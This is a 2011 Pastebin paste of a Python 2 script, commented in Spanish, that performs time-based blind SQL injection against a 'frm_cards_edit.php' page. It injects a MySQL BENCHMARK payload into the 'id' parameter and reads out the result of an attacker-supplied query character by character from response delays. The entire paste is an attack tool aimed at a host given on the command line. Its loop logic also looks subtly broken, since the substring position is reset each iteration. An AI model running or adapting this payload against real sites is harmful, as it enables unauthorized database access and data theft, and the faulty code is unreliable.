Advertisement
Xylitol

Untitled

Sep 18th, 2011
753
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.95 KB | None | 0 0
  1. from httplib import HTTPConnection
  2. from time import time
  3. from sys import exit, argv, stdout
  4. import urllib
  5. print """
  6. Example:
  7. Spypwned 192.168.0.12 /directorio/ "version()"
  8.  
  9. """
  10.  
  11. if len(argv)<=3: exit()
  12. else: print "[+]Iniciando..."
  13.  
  14. host = argv[1]
  15. path = argv[2]
  16. sql = argv[3]
  17. port = 80
  18.  
  19.  
  20. hash = ""
  21. full = []
  22.  
  23. for k in range(48,122):
  24. full.append(k)
  25. full.append(0)
  26. # full vale [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 0]
  27. # Es el charset a probar
  28.  
  29. delay = 0.5
  30. a=1
  31. while a <= 32:
  32. for i in full:
  33. j = 0
  34. if i == 0: exit('\n[+]FIN\n')
  35. #
  36. start = time()
  37. # hora de inicio para el delay
  38. conn = HTTPConnection(host,port)
  39. #values = { "id" : "1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((4.0.5),a,1)),0)="K"),BENCHMARK(9000000,SHA1(1)),1));-- /*" }
  40. values = { "id" : "1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((" + sql + ")," + str(j) + ",1)),0)=" + str(i) + "),BENCHMARK(9000000,SHA1(1)),1));-- /*" }
  41. data = urllib.urlencode(values)
  42. print data
  43. conn.request("GET", path + "frm_cards_edit.php?" + data )
  44. response = conn.getresponse()
  45. read = response.read()
  46. print read
  47.  
  48. if response.status == 404: exit('[+]404')
  49. # da 404 luego termina
  50. now = time()
  51. if now - start > delay:
  52. # ha salido true luego el caracter es valido
  53. stdout.write(chr(i))
  54. stdout.flush()
  55. hash += chr(i)
  56. a += 1
  57. break;
  58. else: j += 1
  59. print "i vale %s, y J vale %s" %(i,j)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement